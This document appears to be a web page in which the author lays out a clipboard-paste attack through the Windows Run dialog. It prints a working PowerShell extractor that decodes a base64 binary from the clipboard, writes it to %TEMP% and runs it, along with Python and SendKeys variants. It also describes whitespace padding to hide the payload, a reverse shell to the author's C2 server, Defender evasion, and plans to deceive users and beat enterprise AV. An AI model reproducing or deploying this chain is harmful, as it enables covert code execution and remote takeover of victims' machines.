If you click the friendly looking button above, it will place something like 50kb of data into your clipboard.
This consists of three parts: The initial command, a lot of padding, and then the entire malicious payload.
They key thing that allows this to work is that the windows run dialog has a limit of 259 characters,
so the the initial commmand fits into the run dialog, but all the data used later in the killchain only exists in RAM.
Extractor ยท current version
The extractor code
This is the command that fits into the run dialog. Its job is to read the clipboard, isolate the part after a
marker character, base64-decode it into a binary, drop that binary to disk, and execute it.
minimal PowerShell extractor
Working:`powershell -nop -c "Add-Type -A System.Windows.Forms;$c=[Windows.Forms.Clipboard]::GetText();$p=$c.Split([char]126)[1];$m=$env:TEMP+'\\w.exe';$b=[Convert]::FromBase64String($p);[IO.File]::WriteAllBytes($m,$b);$s=New-Object -C WScript.Shell;$s.Run($m)"`
Challenges here included finding a way to fit what I wanted to do in less than 259 characters, avoiding AV detections, and escaping quoted strings sent from JS, to the run dialog, to powershell.
Extractor ยท failed variants
The failed variants
No luck with these
// Python made it very compact, but it was a struggle to execute the payload without defender catching it, and won't work in all environments.Bad example`python -c "import os,base64,tkinter;open(os.environ['TEMP']+'\\\w.exe','wb').write(base64.b64decode(tkinter.Tk().clipboard_get().split('~')[2]));"// Did you know you can open the run dialog with a command? This version opened it, typed in commands, then hit enter. Not very stealthy (or consistent)Badder example //const extractor = `powershell -c "Add-Type -A System.Windows.Forms;$s=New-Object -C WScript.Shell;[Windows.Forms.Clipboard]::GetText().Split([char]42)[2..3]|%{$s.Run('explorer shell:::{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}');$s.SendKeys($_);sleep 1;$s.SendKeys('~');sleep 1}"`
The main issue I found was defender picking up on every cool method of execution.
I wanted to run entirely in RAM, but it turns out defender thinks mapping data to memory is "suspicious".
Most boring execution methods were blocked too, but for some reason making a COM object execute it with wscript.shell was allowed.
Padding
The padding
After the extractor, the script appends a long run of spaces.
This ensures that the payload will never make it into the run dialog.
Ideally I'd also include a nice message to fool the user into thinking they are doing something benign.
My current command is a bit too long to also include a fake message afterwards.
Payload
The base64 payload
The final segment is the base64 encoded content of a compiled Windows binary, in this case, w.exe.
It is a brainfuck interpreter that takes brainfuck code, interprets it, and executes the output as shellcode.
It comes with embedded code that creates a TLS reverse shell to my C2 server.
This payload is extracted from the clipboard, decoded into raw bytes and written to a file
under %TEMP%.
Fun fact: There is no pre-set maximum size for clipboard data. You are limited only by available memory, address space, and your imagination.
Design space
Alternative methods I explored
Keeping on theme of the run dialog and our malicious content living in the clipboard, here is some other stuff I tried:
Multiple commands
Carry several commands in one clipboard
Instead of a single payload, you can encode multiple snippets separated by markers
(*, |, etc.). If you can fit the execution logic into the run dialog, you can select them as needed.
This was one way to function entirely in memory, though maybe not particularly practical?
It could also have functioned as just a second stage command if I couldn't get the first one under 259 characters.
SendKeys
Drive the UI via SendKeys
A variant of the extractor can open the run dialog and use SendKeys to type commands
into the Run dialog then execute them. I can't find a good use for it, but it was very fun.
Risks & constraints
Issues and future improvements
Execution
On disk execution
I'd rather not be writing the file to disk, but so far that is the only way I have been able to get it to execute.
Compact memory-only execution methods seem very closely monitored by AV.
With an unlimited clipboard size I will be exploring manually mapping a PE to memory. Not shellcode, but the whole thing.
Less common than shellcode, so maybe less signatured?
Detectable
One-note behaviour
This attack is pretty novel, so its working for now, but it would very easy to make a signature for.
Future plan
Increase stealth
I'd love to find other interesting places to store the malicious content, which can be accessed by an otherwise benign command.
I'd like to rewrite my payload to be benign on its own, and also access its malicious content from somewhere in volatile memory.
Testing/hardening
Test against enterprise AV
If enterprise AV catches this, I'd like to improve the malware to get around it.
And build detections for us.